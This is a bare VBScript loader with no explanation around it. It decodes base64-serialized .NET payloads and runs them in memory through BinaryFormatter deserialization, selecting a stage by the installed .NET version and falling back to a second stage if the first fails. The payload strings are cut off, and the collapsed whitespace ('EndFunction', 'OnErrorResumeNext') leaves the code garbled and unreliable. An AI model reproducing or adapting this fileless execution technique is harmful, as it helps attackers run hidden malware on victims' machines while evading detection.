stage_1 = "AAEAAAD/////....." stage_1_len = 2341 stage_2 = "AAEAAAD/////....." stage_2_len = 198280 stage_3 = "AAEAAAD/////....." stage_3_len = 197922 Function Base64ToStream(b,l) Dim enc, length, transform, ms Set enc = CreateObject("System.Text.ASCII"+"Encoding") length = enc.GetByteCount_2(b) Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") Set ms = CreateObject("System.IO.MemoryStream") ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, l ms.Position = 0 Set Base64ToStream = ms EndFunction Dim shell Set shell = CreateObject("WScript.Shell") Dim ver ver = "v4.0.30319" OnErrorResumeNext shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\" If Err.Number <> 0Then ver = "v2.0.50727" stage_1 = stage_3 stage_1_len = stage_3_len Err.Clear EndIf shell.Environment("Process").Item("COMPLUS_Version") = ver 'shell.Popup "", 0, ver, 64 OnErrorResumeNext Dim fmt_1 Set fmt_1 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") fmt_1.Deserialize_2(Base64ToStream(stage_1, stage_1_len)) If Err.Number <> 0Then Dim fmt_2 Set fmt_2 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") fmt_2.Deserialize_2(Base64ToStream(stage_2, stage_2_len)) EndIf